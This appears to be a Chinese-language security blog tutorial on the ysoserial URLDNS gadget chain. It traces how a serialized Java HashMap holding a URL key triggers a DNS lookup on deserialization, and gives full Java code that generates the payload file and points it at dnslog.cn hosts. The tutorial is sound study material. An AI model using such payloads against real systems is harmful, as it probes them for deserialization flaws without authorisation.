Java ysoserial学习之URLDNS(一)

雄关漫道真如铁 而今迈步从头越

0x01 前言

• 不限制jdk版本，使用 Java 内置的 URL 类，不依赖于任何的第三方库
• 只对指定的 URL 发送 DNS 查询，不做其他操作
• 在⽬目标没有回显的时候，能够通过DNS请求得知是否存在反序列列化漏洞

0x02 原理

Gadget Chain: 

        HashMap.readObject() 

                HashMap.putVal() 

                        HashMap.hash() 

                            URL.hashCode()

2.1 HashMap

HashMap: java中的一种容器，用来存储内容，内容以键值对的形式存放。

先来看看 HashMap 自己实现的 readObject() 函数

2.2 hashCode

public class UrlDNSTest {

    public static void main(String[] args) throws Exception {
        URL url = new URL("http://wursz7.dnslog.cn");
        url.hashCode();
    }

}

URL 类在比较时，如果两个主机名都可以解析为相同的 IP 地址，则认为两个主机是等效的；

2.3 put 触发

动手实验一下

public class UrlDNSTest {

    public static void main(String[] args) throws Exception {

        HashMap map = new HashMap();
        URL url = new URL("http://r6gyvj.dnslog.cn");
        map.put(url, "yhy");
    }
}

也是调用了hash(key) --> key.hashCode() 跟之前一样，所以会在put进一个key为URL对象时，会进行一次DNS解析。

2.4 反序列化

2.5 至善至美

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
   final Field field = getField(obj.getClass(), fieldName);
   field.set(obj, value);
}

	public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
	try {
	    field = clazz.getDeclaredField(fieldName);
	    setAccessible(field);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
		return field;
	}

那也就是说在下一步经过 HashMap的readObject 函数反序列化时, 因为此时 hashCode != -1 ,会直接返回hashCode的值，不再进行调用 handler.hashCode(this) 。因此使用 Reflections.setFieldValue(u, "hashCode", -1); 反射将 hashCode的值设为 -1，让其进行下一步执行DNS解析。

执行序列化操作，生成payload

0x03 代码模拟

package ysoserial;

import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;


/**
 * @author yhy
 * @date 2021/6/2 16:21
 * @github https://github.com/yhy0
 */

public class UrlDNSTest {

    static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }

    public static void main(String[] args) throws Exception {
        HashMap hashMap = new HashMap();

        // 设置 put 时不发起 dns 解析
        URLStreamHandler handler = new UrlDNSTest.SilentURLStreamHandler();
        URL url = new URL(null, "http://atysqv.dnslog.cn", handler);

        // 通过反射将put之后 hashCode 的 值重新赋值为 -1
        Class clazz = Class.forName("java.net.URL");
        Field f = clazz.getDeclaredField("hashCode");
        f.setAccessible(true);

        hashMap.put(url,"123");
        f.set(url,-1);

        // 序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(hashMap);

    }

}

 public static void main(String[] args) throws Exception {
        // 反序列化读取 out.bin 文件
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
        ois.readObject();
    }

请求成功。

最后回顾一下整个流程:

1. 将URL对象作为key放入hashMap中，将其序列化发送给目标机器
2. 如果目标机器存在反序列化漏洞，那么会执行HashMap.readObject() 将数据反序列化
3. 在反序列化期间，为了还原hashmap的内容，会调用 hash() 方法，而hash()函数会调用传入参数的 hashCode()方法
4. 当URL 对象的 hashCode属性值为-1 时会调用 handler.hashCode()，而这个方法会进行一次DNS查询。

0x04 参考

https://www.gettoby.com/p/hk4t4bb9qttz